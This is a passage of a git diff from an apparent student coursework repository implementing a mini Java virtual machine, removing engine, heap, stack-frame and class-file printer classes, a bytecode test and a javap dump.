-	public void setNextAction(int action){
-		this.nextAction = action;
-	}
-	public boolean isPauseAndRunNewFrame(){
-		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
-	}
-	public boolean isExitCurrentFrame(){
-		return this.nextAction == EXIT_CURRENT_FRAME;
-	}
-	
-	public boolean isRunNextCmd(){
-		return this.nextAction == RUN_NEXT_CMD;
-	}
-	
-	public boolean isJump(){
-		return this.nextAction == JUMP;
-	}
-	
-	public int getNextCmdOffset() {
-		return nextCmdOffset;
-	}
-
-	public void setNextCmdOffset(int nextCmdOffset) {
-		this.nextCmdOffset = nextCmdOffset;
-	}
-	
-	
-	
-	
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java b/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java
deleted file mode 100644
index 1fb57626b9..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.donaldy.jvm.engine;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.donaldy.jvm.attr.CodeAttr;
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.cmd.ByteCodeCommand;
-import com.donaldy.jvm.constant.MethodRefInfo;
-import com.donaldy.jvm.method.Method;
-
-public class ExecutorEngine {
-
-	private Stack<StackFrame> stack = new Stack<StackFrame>();
-	
-	public ExecutorEngine() {
-		
-	}
-	
-	public void execute(Method mainMethod){
-		
-		
-		
-	}
-	
-	
-	
-	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
-		
-		
-		
-	}
-	
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/Heap.java b/group24/448641125/src/com/donaldy/jvm/engine/Heap.java
deleted file mode 100644
index 250d70504d..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/Heap.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.donaldy.jvm.engine;
-
-public class Heap {
-	
-	/**
-	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
-	 */
-	
-	private static Heap instance = new Heap();
-	private Heap() {		
-	}
-	public static Heap getInstance(){
-		return instance;
-	}
-	public JavaObject newObject(String clzName){
-		
-		JavaObject jo = new JavaObject(JavaObject.OBJECT);
-		jo.setClassName(clzName);
-		return jo;
-	}
-	
-	public JavaObject newString(String value){
-		JavaObject jo = new JavaObject(JavaObject.STRING);
-		jo.setStringValue(value);
-		return jo;
-	}
-	
-	public JavaObject newFloat(float value){
-		JavaObject jo = new JavaObject(JavaObject.FLOAT);
-		jo.setFloatValue(value);
-		return jo;
-	}
-	public JavaObject newInt(int value){
-		JavaObject jo = new JavaObject(JavaObject.INT);
-		jo.setIntValue(value);
-		return jo;
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java b/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java
deleted file mode 100644
index d5c5884af2..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package com.donaldy.jvm.engine;
-
-import java.util.HashMap;
-import java.util.Map;
-
-public class JavaObject {
-	public static final int OBJECT = 1;
-	public static final int STRING = 2;
-	public static final int INT = 3;
-	public static final int FLOAT = 4;
-	
-	int type;
-	private String className;
-	
-	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
-	
-	private String stringValue;
-	
-	private int intValue;
-	
-	private float floatValue;
-	
-	public void setFieldValue(String fieldName, JavaObject fieldValue){
-		fieldValues.put(fieldName, fieldValue);
-	}
-	public JavaObject(int type){
-		this.type = type;
-	}
-	public void setClassName(String className){
-		this.className = className;
-	}
-	public void setStringValue(String value){
-		stringValue = value;
-	}
-	public String getStringValue(){
-		return this.stringValue;
-	}
-	public void setIntValue(int value) {
-		this.intValue = value;		
-	}
-	public int getIntValue(){
-		return this.intValue;
-	}
-	public int getType(){
-		return type;
-	}
-	public JavaObject getFieldValue(String fieldName){
-		return this.fieldValues.get(fieldName);
-	}
-	public String toString(){
-		switch(this.getType()){
-		case INT: 
-			return String.valueOf(this.intValue);
-		case STRING:
-			return this.stringValue;
-		case OBJECT:
-			return this.className +":"+ this.fieldValues;
-		case FLOAT :
-			return String.valueOf(this.floatValue);
-		default:
-			return null;
-		}
-	}
-	public String getClassName(){
-		return this.className;
-	}
-	public void setFloatValue(float value) {
-		this.floatValue = value;		
-	}
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java b/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java
deleted file mode 100644
index fea5102cd0..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.donaldy.jvm.engine;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.MethodRefInfo;
-import com.donaldy.jvm.loader.ClassFileLoader;
-import com.donaldy.jvm.method.Method;
-
-public class MethodArea {
-	
-	public static final MethodArea instance = new MethodArea();
-	
-	/**
-	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
-	 */
-	
-	private ClassFileLoader clzLoader = null;
-	
-	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
-	
-	private MethodArea(){		
-	}
-	
-	public static MethodArea getInstance(){
-		return instance;
-	}
-	
-	public void setClassFileLoader(ClassFileLoader clzLoader){
-		this.clzLoader = clzLoader;
-	}
-	
-	public Method getMainMethod(String className){
-		
-		ClassFile clzFile = this.findClassFile(className);
-		
-		return clzFile.getMainMethod();
-	}
-	
-	
-	public  ClassFile findClassFile(String className){
-		
-		if(map.get(className) != null){
-			return map.get(className);
-		}
-		// 看来该class 文件还没有load过
-		ClassFile clzFile = this.clzLoader.loadClass(className);
-		
-		map.put(className, clzFile);
-		
-		return clzFile;
-		
-	}
-	
-	
-	public Method getMethod(String className, String methodName, String paramAndReturnType){
-		
-		return null;
-	}
-	
-	
-	public Method getMethod(MethodRefInfo methodRef){		
-		
-		return null;
-			
-	}
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java b/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java
deleted file mode 100644
index 30f19e0d8c..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.donaldy.jvm.engine;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
-import com.donaldy.jvm.loader.ClassFileLoader;
-
-
-public class MiniJVM {
-	
-	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		for(int i=0;i<classPaths.length ; i++){
-			loader.addClassPath(classPaths[i]);
-		}
-		
-		MethodArea methodArea= MethodArea.getInstance();
-		
-		methodArea.setClassFileLoader(loader);
-		
-		ExecutorEngine engine = new ExecutorEngine();
-		
-		className = className.replace(".", "/");
-		
-		engine.execute(methodArea.getMainMethod(className));
-	}
-	
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java b/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java
deleted file mode 100644
index 73b510e140..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.donaldy.jvm.engine;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.donaldy.jvm.cmd.ByteCodeCommand;
-import com.donaldy.jvm.method.Method;
-
-public class StackFrame {
-	
-	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
-	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
-	
-	int index = 0;
-	
-	private Method m = null;
-	
-	private StackFrame callerFrame = null;
-	
-	public StackFrame getCallerFrame() {
-		return callerFrame;
-	}
-
-	public void setCallerFrame(StackFrame callerFrame) {
-		this.callerFrame = callerFrame;
-	}
-
-	
-	
-	
-	public static  StackFrame create(Method m){
-		
-		StackFrame frame = new StackFrame( m );			
-		
-		return frame;
-	}
-
-	
-	private StackFrame(Method m) {		
-		this.m = m;
-		
-	}
-	
-	
-	
-	public JavaObject getLocalVariableValue(int index){
-		return this.localVariableTable.get(index);
-	}
-	
-	public Stack<JavaObject> getOprandStack(){
-		return this.oprandStack;
-	}
-	
-	public int getNextCommandIndex(int offset){
-		
-		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
-		for(int i=0;i<cmds.length; i++){
-			if(cmds[i].getOffset() == offset){
-				return i;
-			}
-		}
-		throw new RuntimeException("Can't find next command");
-	}
-	
-	public ExecutionResult execute(){
-		return null;
-		
-	}
-
-	
-	
-	
-	public void setLocalVariableTable(List<JavaObject> values){
-		this.localVariableTable = values;	
-	}
-	
-	public void setLocalVariableValue(int index, JavaObject jo){
-		//问题： 为什么要这么做？？
-		if(this.localVariableTable.size()-1 < index){
-			for(int i=this.localVariableTable.size(); i<=index; i++){
-				this.localVariableTable.add(null);
-			}
-		}
-		this.localVariableTable.set(index, jo);
-		
-		
-	}
-	
-	public Method getMethod(){
-		return m;
-	}
-	
-
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java b/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
index 17f25799c2..e1132dd023 100644
--- a/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
+++ b/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
@@ -58,7 +58,6 @@ public String getClassPath() {
 	}
 
 	public ClassFile loadClass(String className) {
-
 		byte[] codes = this.readBinaryCode(className);
 		ClassFileParser parser = new ClassFileParser();
 		return parser.parse(codes);
diff --git a/group24/448641125/src/com/donaldy/jvm/method/Method.java b/group24/448641125/src/com/donaldy/jvm/method/Method.java
index 8720da21b7..a69ff696b8 100644
--- a/group24/448641125/src/com/donaldy/jvm/method/Method.java
+++ b/group24/448641125/src/com/donaldy/jvm/method/Method.java
@@ -2,7 +2,6 @@
 
 import com.donaldy.jvm.attr.*;
 import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.cmd.ByteCodeCommand;
 import com.donaldy.jvm.constant.ConstantPool;
 import com.donaldy.jvm.constant.UTF8Info;
 import com.donaldy.jvm.loader.ByteCodeIterator;
@@ -49,42 +48,8 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 	
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 
-
 		int accessFlag = iter.nextU2ToInt();
 		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-
-
-		/*System.out.println("name = " + clzFile.getConstantPool().getUTF8String(nameIndex)
-						+ ", desc = " + clzFile.getConstantPool().getUTF8String(descIndex));*/
-
-		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
-
-		//attribCount == 1
-		for( int j = 1; j <= attribCount; j++){
-
-			int attrNameIndex = iter.nextU2ToInt();
-			/*System.out.println("attrNameIndex : " + attrNameIndex);*/
-			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			/*System.out.println("attrName : " + attrName);*/
-			iter.back(2);
-
-			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
-				/*System.out.println("j : " + j );*/
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				m.setCodeAttr(codeAttr);
-			} else{
-				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
-			}
-
-		}
-
-		return m ;
-
-		//////////////////////Backup///////////////////////
-		/*int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
 		int descriptorIndex = iter.nextU2ToInt();
 
 		int attributeCount = iter.nextU2ToInt();
@@ -94,7 +59,6 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		if (!"Code".equals(clzFile.getConstantPool().getUTF8String(attrNameIndex)))
 			throw new RuntimeException("attributeInfo : " + attrNameIndex);
 
-		//CodeAttr.parse
 		int attrLen = iter.nextU4ToInt();
 		int maxStack = iter.nextU2ToInt();
 		int maxLocals = iter.nextU2ToInt();
@@ -119,29 +83,7 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
 
 		method.setCodeAttr(codeAttr);
-		return method;*/
+		return method;
 		
 	}
-
-	public String toString() {
-
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-
-		buffer.append(name).append(":").append(desc).append("\n");
-
-		buffer.append(this.codeAttr.toString(pool));
-
-		return buffer.toString();
-	}
-
-	public ByteCodeCommand[] getCmds() {
-
-		return this.getCodeAttr().getCmds();
-
-	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java b/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 740a9aa9aa..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.donaldy.jvm.print;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.constant.ClassInfo;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.FieldRefInfo;
-import com.donaldy.jvm.constant.MethodRefInfo;
-import com.donaldy.jvm.constant.NameAndTypeInfo;
-
-import com.donaldy.jvm.constant.StringInfo;
-import com.donaldy.jvm.constant.UTF8Info;
-import com.donaldy.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMajorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-
-		cnstPoolPrinter.print();
-
-	}
-	
-	public static void main(String[] args){
-		String path = "D:\\tools\\Code\\Y_Repository\\coding2017\\group24\\448641125\\out\\production\\448641125\\";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.donaldy.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java b/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 910494d803..0000000000
--- a/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package com.donaldy.jvm.print;
-
-import com.donaldy.jvm.clz.ClassFile;
-import com.donaldy.jvm.clz.ClassIndex;
-import com.donaldy.jvm.constant.ClassInfo;
-import com.donaldy.jvm.constant.ConstantInfo;
-import com.donaldy.jvm.constant.ConstantPool;
-import com.donaldy.jvm.constant.FieldRefInfo;
-import com.donaldy.jvm.constant.MethodRefInfo;
-import com.donaldy.jvm.constant.NameAndTypeInfo;
-import com.donaldy.jvm.constant.StringInfo;
-import com.donaldy.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-
-		System.out.println("Constant Pool:");
-
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-
-			@Override
-			public void visitString(StringInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("String    #").append(info.getIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitNameAndType(NameAndTypeInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
-					.append(info.getIndex2());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitMethodRef(MethodRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
-					.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitFieldRef(FieldRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
-					.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitClassInfo(ClassInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("Class    #").append(info.getUtf8Index())
-					.append("  ").append(info.getClassName());
-
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visistUTF8(UTF8Info info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("UTF8    ").append(info.getValue());
-				System.out.println(buffer);
-
-			}
-		};
-
-		for(int i=1; i<=pool.getSize(); i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			System.out.print("#"+i+"=");
-			constantInfo.accept(visitor);
-		}
-	}
-	/*public void print(){
-		
-		System.out.println("Constant Pool:");
-
-		for (int i = 0; i <= this.pool.getSize(); ++i) {
-			ConstantInfo cnstInfo = this.pool.getConstantInfo(i);
-
-			if (cnstInfo instanceof  ClassInfo) {
-				ClassInfo info = (ClassInfo)cnstInfo;
-
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("Class    #").append(info.getUtf8Index())
-					.append("  ").append(info.getClassName());
-
-				System.out.println(buffer);
-			}
-
-			if (cnstInfo instanceof UTF8Info) {
-
-				UTF8Info info = (UTF8Info) cnstInfo;
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("UTF8     ").append(info.getValue());
-				System.out.println(buffer);
-			}
-
-
-
-			*//*int type = constInfo.getType();
-			System.out.println("type : " + type);
-
-			if (type == ClassInfo.UTF8_INFO) {
-
-			} else if (type == ClassInfo.FLOAT_INFO) {
-
-			} else if (type == ClassInfo.CLASS_INFO) {
-
-			} else if (type == ClassInfo.STRING_INFO) {
-
-			} else if (type == ClassInfo.FIELD_INFO) {
-
-			} else if (type == ClassInfo.METHOD_INFO) {
-
-			} else if (type == ClassInfo.NAME_AND_TYPE_INFO) {
-
-			}*//*
-		}
-		
-	}*/
-}
diff --git a/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java b/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
index 7c30dedb17..8610fda4c9 100644
--- a/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
+++ b/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
@@ -2,10 +2,6 @@
 
 import com.donaldy.jvm.clz.ClassFile;
 import com.donaldy.jvm.clz.ClassIndex;
-import com.donaldy.jvm.cmd.BiPushCmd;
-import com.donaldy.jvm.cmd.ByteCodeCommand;
-import com.donaldy.jvm.cmd.OneOperandCmd;
-import com.donaldy.jvm.cmd.TwoOperandCmd;
 import com.donaldy.jvm.constant.*;
 import com.donaldy.jvm.field.Field;
 import com.donaldy.jvm.method.Method;
@@ -280,88 +276,4 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedCode, code);
 	}
 
-
-	/**
-	 * 第四次 JVM作业
-	 */
-
-	@Test
-	public void testByteCodeCommand(){
-		{
-			ClassFileLoader loader = new ClassFileLoader();
-			loader.addClassPath(this.path1);
-			this.clzFile = loader.loadClass("com.donaldy.jvm.test.EmployeeV1");
-
-			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-			ByteCodeCommand [] cmds = initMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-			assertOpCodeEquals("4: aload_0", cmds[2]);
-			assertOpCodeEquals("5: aload_1", cmds[3]);
-			assertOpCodeEquals("6: putfield #15", cmds[4]);
-			assertOpCodeEquals("9: aload_0", cmds[5]);
-			assertOpCodeEquals("10: iload_2", cmds[6]);
-			assertOpCodeEquals("11: putfield #17", cmds[7]);
-			assertOpCodeEquals("14: return", cmds[8]);
-		}
-
-		{
-			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-			ByteCodeCommand[] cmds = setNameMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: aload_1", cmds[1]);
-			assertOpCodeEquals("2: putfield #15", cmds[2]);
-			assertOpCodeEquals("5: return", cmds[3]);
-
-		}
-
-		{
-			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-
-			assertOpCodeEquals("0: getstatic #28", cmds[0]);
-			assertOpCodeEquals("3: ldc #34", cmds[1]);
-			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-			assertOpCodeEquals("8: return", cmds[3]);
-
-		}
-
-		{
-			Method mainMethod = this.clzFile.getMainMethod();
-
-			ByteCodeCommand [] cmds = mainMethod.getCmds();
-
-			assertOpCodeEquals("0: new #1", cmds[0]);
-			assertOpCodeEquals("3: dup", cmds[1]);
-			assertOpCodeEquals("4: ldc #43", cmds[2]);
-			assertOpCodeEquals("6: bipush 29", cmds[3]);
-			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-			assertOpCodeEquals("11: astore_1", cmds[5]);
-			assertOpCodeEquals("12: aload_1", cmds[6]);
-			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-			assertOpCodeEquals("16: return", cmds[8]);
-		}
-
-	}
-
-	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-
-		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-
-		if(cmd instanceof OneOperandCmd){
-			if(cmd instanceof BiPushCmd){
-				acctual += " " + ((OneOperandCmd)cmd).getOperand();
-			} else{
-				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-			}
-		}
-		if(cmd instanceof TwoOperandCmd){
-			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-		}
-		Assert.assertEquals(expected, acctual);
-	}
-
-
 }
diff --git a/group24/494800949/EmployeeV1-javap.txt b/group24/494800949/EmployeeV1-javap.txt
deleted file mode 100644
index 466714a1dd..0000000000
--- a/group24/494800949/EmployeeV1-javap.txt
+++ /dev/null
@@ -1,164 +0,0 @@
-$ javap -verbose EmployeeV1
-警告: 二进制文件EmployeeV1包含com.coderising.jvm.test.EmployeeV1
-Classfile /H:/sourceCode/coding2017/group24/494800949/EmployeeV1.class
-  Last modified 2017-4-9; size 1056 bytes
-  MD5 checksum 8454b8999ccc9a2ae26a405d47558825
-  Compiled from "EmployeeV1.java"
-public class com.coderising.jvm.test.EmployeeV1
-  minor version: 0
-  major version: 52
-  flags: ACC_PUBLIC, ACC_SUPER
-Constant pool:
-   #1 = Class              #2             // com/coderising/jvm/test/EmployeeV1
-   #2 = Utf8               com/coderising/jvm/test/EmployeeV1
-   #3 = Class              #4             // java/lang/Object
-   #4 = Utf8               java/lang/Object
-   #5 = Utf8               name
-   #6 = Utf8               Ljava/lang/String;
-   #7 = Utf8               age
-   #8 = Utf8               I
-   #9 = Utf8               <init>
-  #10 = Utf8               (Ljava/lang/String;I)V
-  #11 = Utf8               Code
-  #12 = Methodref          #3.#13         // java/lang/Object."<init>":()V
-  #13 = NameAndType        #9:#14         // "<init>":()V
-  #14 = Utf8               ()V
-  #15 = Fieldref           #1.#16         // com/coderising/jvm/test/EmployeeV1.name:Ljava/lang/String;
-  #16 = NameAndType        #5:#6          // name:Ljava/lang/String;
-  #17 = Fieldref           #1.#18         // com/coderising/jvm/test/EmployeeV1.age:I
-  #18 = NameAndType        #7:#8          // age:I
-  #19 = Utf8               LineNumberTable
-  #20 = Utf8               LocalVariableTable
-  #21 = Utf8               this
-  #22 = Utf8               Lcom/coderising/jvm/test/EmployeeV1;
-  #23 = Utf8               setName
-  #24 = Utf8               (Ljava/lang/String;)V
-  #25 = Utf8               setAge
-  #26 = Utf8               (I)V
-  #27 = Utf8               sayHello
-  #28 = Fieldref           #29.#31        // java/lang/System.out:Ljava/io/PrintStream;
-  #29 = Class              #30            // java/lang/System
-  #30 = Utf8               java/lang/System
-  #31 = NameAndType        #32:#33        // out:Ljava/io/PrintStream;
-  #32 = Utf8               out
-  #33 = Utf8               Ljava/io/PrintStream;
-  #34 = String             #35            // Hello , this is class Employee
-  #35 = Utf8               Hello , this is class Employee
-  #36 = Methodref          #37.#39        // java/io/PrintStream.println:(Ljava/lang/String;)V
-  #37 = Class              #38            // java/io/PrintStream
-  #38 = Utf8               java/io/PrintStream
-  #39 = NameAndType        #40:#24        // println:(Ljava/lang/String;)V
-  #40 = Utf8               println
-  #41 = Utf8               main
-  #42 = Utf8               ([Ljava/lang/String;)V
-  #43 = String             #44            // Andy
-  #44 = Utf8               Andy
-  #45 = Methodref          #1.#46         // com/coderising/jvm/test/EmployeeV1."<init>":(Ljava/lang/String;I)V
-  #46 = NameAndType        #9:#10         // "<init>":(Ljava/lang/String;I)V
-  #47 = Methodref          #1.#48         // com/coderising/jvm/test/EmployeeV1.sayHello:()V
-  #48 = NameAndType        #27:#14        // sayHello:()V
-  #49 = Utf8               args
-  #50 = Utf8               [Ljava/lang/String;
-  #51 = Utf8               p
-  #52 = Utf8               SourceFile
-  #53 = Utf8               EmployeeV1.java
-{
-  public com.coderising.jvm.test.EmployeeV1(java.lang.String, int);
-    descriptor: (Ljava/lang/String;I)V
-    flags: ACC_PUBLIC
-    Code:
-      stack=2, locals=3, args_size=3
-         0: aload_0
-         1: invokespecial #12                 // Method java/lang/Object."<init>":()V
-         4: aload_0
-         5: aload_1
-         6: putfield      #15                 // Field name:Ljava/lang/String;
-         9: aload_0
-        10: iload_2
-        11: putfield      #17                 // Field age:I
-        14: return
-      LineNumberTable:
-        line 9: 0
-        line 10: 4
-        line 11: 9
-        line 12: 14
-      LocalVariableTable:
-        Start  Length  Slot  Name   Signature
-            0      15     0  this   Lcom/coderising/jvm/test/EmployeeV1;
-            0      15     1  name   Ljava/lang/String;
-            0      15     2   age   I
-
-  public void setName(java.lang.String);
-    descriptor: (Ljava/lang/String;)V
-    flags: ACC_PUBLIC
-    Code:
-      stack=2, locals=2, args_size=2
-         0: aload_0
-         1: aload_1
-         2: putfield      #15                 // Field name:Ljava/lang/String;
-         5: return
-      LineNumberTable:
-        line 15: 0
-        line 16: 5
-      LocalVariableTable:
-        Start  Length  Slot  Name   Signature
-            0       6     0  this   Lcom/coderising/jvm/test/EmployeeV1;
-            0       6     1  name   Ljava/lang/String;
-
-  public void setAge(int);
-    descriptor: (I)V
-    flags: ACC_PUBLIC
-    Code:
-      stack=2, locals=2, args_size=2
-         0: aload_0
-         1: iload_1
-         2: putfield      #17                 // Field age:I
-         5: return
-      LineNumberTable:
-        line 18: 0
-        line 19: 5
-      LocalVariableTable:
-        Start  Length  Slot  Name   Signature
-            0       6     0  this   Lcom/coderising/jvm/test/EmployeeV1;
-            0       6     1   age   I
-
-  public void sayHello();
-    descriptor: ()V
-    flags: ACC_PUBLIC
-    Code:
-      stack=2, locals=1, args_size=1
-         0: getstatic     #28                 // Field java/lang/System.out:Ljava/io/PrintStream;
-         3: ldc           #34                 // String Hello , this is class Employee
-         5: invokevirtual #36                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
-         8: return
-      LineNumberTable:
-        line 21: 0
-        line 22: 8
-      LocalVariableTable:
-        Start  Length  Slot  Name   Signature
-            0       9     0  this   Lcom/coderising/jvm/test/EmployeeV1;
-
-  public static void main(java.lang.String[]);
-    descriptor: ([Ljava/lang/String;)V
-    flags: ACC_PUBLIC, ACC_STATIC
-    Code:
-      stack=4, locals=2, args_size=1
-         0: new           #1                  // class com/coderising/jvm/test/EmployeeV1
-         3: dup
-         4: ldc           #43                 // String Andy
-         6: bipush        29
-         8: invokespecial #45                 // Method "<init>":(Ljava/lang/String;I)V
-        11: astore_1
-        12: aload_1
-        13: invokevirtual #47                 // Method sayHello:()V
-        16: return
-      LineNumberTable:
-        line 24: 0
-        line 25: 12
-        line 27: 16
-      LocalVariableTable:
-        Start  Length  Slot  Name   Signature
-            0      17     0  args   [Ljava/lang/String;
-           12       5     1     p   Lcom/coderising/jvm/test/EmployeeV1;
-}
-SourceFile: "EmployeeV1.java"
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 7db7a49c32..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
